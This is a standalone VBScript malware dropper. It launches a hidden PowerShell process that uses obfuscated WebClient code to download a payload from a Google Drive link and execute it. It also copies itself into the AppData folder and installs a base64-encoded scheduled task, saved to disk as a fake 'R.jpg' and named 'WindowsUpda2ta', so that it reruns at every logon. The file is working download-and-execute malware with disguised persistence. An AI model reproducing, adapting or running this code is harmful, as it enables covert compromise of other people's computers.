medo all

Dim WshShell
Dim WshProcEnv
Dim process_architecture

Set WshShell =  CreateObject("WScript.Shell")
Set WshProcEnv = WshShell.Environment("Process")

process_architecture= WshProcEnv("PROCESSOR_ARCHITECTURE")

If process_architecture = "x86" Then
    attack("Powershell")
Else
    attack("C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe")
End If



Rakan()
sub attack(S)

WshShell.Run S +" "+"-noexit  $vbs = New-Object -ComObject 'MSScriptControl.ScriptControl';$vbs.Language = 'VBScript';$text='(&(GCM *W-O*)Ne'+'t.We'+'bCl'+'ient).Dow'+'nloa'+'dSt'+'ring(''https://drive.google.com/uc?authuser=0&id=1k6KwdxtaOtR8EhXHr3FQG2oRXb0TwzlT&export=download'').replace(''MmM'','' '')'|IEX;$vbs.Timeout=-1;$vbs.AddCode($text) ",0


end sub
Sub Rakan()
SET fso = CREATEOBJECT ("SCRIPTING.FILESYSTEMOBJECT")
SET SHELLOBJ = WSCRIPT.CREATEOBJECT ("WSCRIPT.SHELL")
START_F = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%APPDATA%") & "\MICROSOFT\" & WSCRIPT.SCRIPTNAME
fso.COPYFILE WSCRIPT.SCRIPTFULLNAME,START_F ,TRUE
Set wshShell = WScript.CreateObject( "WScript.Shell" )
Set ObjShell = WScript.CreateObject( "Shell.Application" )
Set tempfolder = fso.GetSpecialFolder(2)
File = Base64Decode("PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvPg0KICAgIDxEYXRlPjIwMDAtMTAtMjVUMTQ6Mjc6NDQuODkyOTAyNzwvRGF0ZT4NCiAgICA8QXV0aG9yPiVVU0VSX05BTUUlPC9BdXRob3I+DQogIDwvUmVnaXN0cmF0aW9uSW5mbz4NCiAgPFRyaWdnZXJzPg0KICAgIDxMb2dvblRyaWdnZXI+DQogICAgICA8RW5hYmxlZD50cnVlPC9FbmFibGVkPg0KICAgICAgPFVzZXJJZD4lVVNFUl9OQU1FJTwvVXNlcklkPg0KICAgIDwvTG9nb25UcmlnZ2VyPg0KICAgIDxSZWdpc3RyYXRpb25UcmlnZ2VyPg0KICAgICAgPEVuYWJsZWQ+ZmFsc2U8L0VuYWJsZWQ+DQogICAgPC9SZWdpc3RyYXRpb25UcmlnZ2VyPg0KICA8L1RyaWdnZXJzPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPFVzZXJJZD4lVVNFUl9OQU1FJTwvVXNlcklkPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+TGVhc3RQcml2aWxlZ2U8L1J1bkxldmVsPg0KICAgIDwvUHJpbmNpcGFsPg0KICA8L1ByaW5jaXBhbHM+DQogIDxTZXR0aW5ncz4NCiAgICA8TXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+U3RvcEV4aXN0aW5nPC9NdWx0aXBsZUluc3RhbmNlc1BvbGljeT4NCiAgICA8RGlzYWxsb3dTdGFydElmT25CYXR0ZXJpZXM+ZmFsc2U8L0Rpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPg0KICAgIDxTdG9wSWZHb2luZ09uQmF0dGVyaWVzPnRydWU8L1N0b3BJZkdvaW5nT25CYXR0ZXJpZXM+DQogICAgPEFsbG93SGFyZFRlcm1pbmF0ZT5mYWxzZTwvQWxsb3dIYXJkVGVybWluYXRlPg0KICAgIDxTdGFydFdoZW5BdmFpbGFibGU+dHJ1ZTwvU3RhcnRXaGVuQXZhaWxhYmxlPg0KICAgIDxSdW5Pbmx5SWZOZXR3b3JrQXZhaWxhYmxlPmZhbHNlPC9SdW5Pbmx5SWZOZXR3b3JrQXZhaWxhYmxlPg0KICAgIDxJZGxlU2V0dGluZ3M+DQogICAgICA8U3RvcE9uSWRsZUVuZD50cnVlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT43PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiVBUFBfUEFUSCU8L0NvbW1hbmQ+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+")
Path = tempfolder & "\" & "R.jpg"
AppPath = START_F
strComputerName = wshShell.ExpandEnvironmentStrings( "%COMPUTERNAME%" )
strUserName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )
File = Replace(File,"%USER_NAME%",strComputerName & "\" & strUserName)
File = Replace(File,"%APP_PATH%",AppPath)
Set objFile = fso.CreateTextFile(Path,True)
objFile.Write File
objFile.Close
Arg = "schtasks /Create /TN WindowsUpda2ta /xml %temp%\R.jpg"
wshShell.Run Arg,0
End Sub

Function Base64Decode(ByVal base64String)
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  dataLength = Len(base64String)
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function